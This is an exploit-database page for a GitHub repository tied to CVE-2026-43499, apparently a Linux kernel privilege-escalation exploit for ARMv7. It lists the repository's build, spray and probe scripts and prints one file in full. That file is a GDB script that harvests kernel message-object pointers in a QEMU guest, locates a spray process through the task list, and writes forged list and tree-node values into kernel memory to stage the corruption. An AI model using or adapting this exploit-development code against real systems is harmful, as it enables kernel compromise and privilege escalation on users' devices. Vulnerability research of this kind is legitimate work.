Exploit databaseDownload repository ZIP
GH-14fb583d3d1bd2da10251bb1a37b93d6
gitchw/ghostlock-cve-2026-43499
Sources for CVE-2026-43499
170 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files354
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
- ↑..Parent directory
- disasm/
- disasm_clang/
- glA/
- glB/
- glC/
- NOTES_crosscache.md
- NOTES_geometry.md
- adb_watch.ps1
- adb_watch2.ps1
- adj_tail.log
- alpine-armv7.tgz
- base_io.sh
- boot_foreground.sh
- boot_io.sh
- bpf_probe.sh
- build_2602.sh
- build_bpf.sh
- build_clang.sh
- build_dbg.sh
- build_go21.sh
- build_go27.sh
- build_initramfs_clang.sh
- build_io.sh
- build_io_initramfs.sh
- build_kernel_uffd.sh
- build_ks.sh
- build_liburing.sh
- build_lpe.sh
- build_vendorlike.sh
- build_vtest.sh
- capture_read.py
- capture_read5.py
- cc2.log
- cc3.log
- cc4.log
- cc_driver.py
- cc_probe.py
- check_s4.py
- chk72.gdb
- chk72.py
- chk_init.sh
- chk_mm.py
- clang_more_syms.sh
- clang_syms.sh
- cleanup_conns.sh
- clk32lin_full.log
- clk64_full.log
- clk_full.log
- clk_sattr.log
- clk_wide.log
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
workspace/qemu/capture_read.py
Python · 1,570 bytesimport gdb, struct
inf=gdb.selected_inferior()
def w32(a,v): inf.write_memory(a,struct.pack('<I',v&0xffffffff),4)
def rd32(a): return struct.unpack('<I',inf.read_memory(a,4).tobytes())[0]
bp=gdb.Breakpoint('load_msg')
ptrs=[]; tries=0
while len(ptrs)<5 and tries<15:
tries+=1
gdb.execute('continue'); gdb.execute('finish')
r0=int(gdb.parse_and_eval('$r0')) & 0xffffffff
if 0xc0000000 <= r0 < 0xf8000000:
ptrs.append(r0); print('MSG%d = %08x'%(len(ptrs)-1,r0))
else: print('SKIP %08x'%r0)
bp.delete()
if len(ptrs)<5:
print('INCOMPLETE'); gdb.execute('detach'); gdb.execute('quit')
m0,m1,H,C,T=ptrs
CF=C+24; HF=H+24
toff=int(gdb.parse_and_eval('(unsigned long)&((struct task_struct*)0)->tasks'))
coff=int(gdb.parse_and_eval('(unsigned long)&((struct task_struct*)0)->comm'))
init=int(gdb.parse_and_eval('(unsigned long)&init_task'))
t=rd32(init+toff); s4=None
for i in range(200):
task=t-toff
try: comm=inf.read_memory(task+coff,8).tobytes().split(b'\0')[0].decode('latin1')
except: comm=''
if comm in ('s4','spray4'): s4=task; break
t=rd32(t)
stack=rd32(s4+4)
D=stack+0x600 # stable high region, simulates parked stale waiter
print('S4TASK=%08x stack=%08x D=%08x'%(s4,stack,D))
# post-go28 state: D+0 = root C | 1 (red node), D+0x10 = 0 (msgseg), D+0x18 = task (leak target)
w32(D+0, T|1)
w32(D+0x10, 0)
w32(D+0x18, s4)
w32(HF+0,HF); w32(HF+4,HF)
w32(CF+0,D); w32(CF+4,HF); w32(CF+8,0x43); w32(CF+12,96); w32(CF+16,0)
w32(m0+0,CF)
print('CORRUPTED odd-next=T|1=%08x'%(T|1))
gdb.execute('detach'); gdb.execute('quit')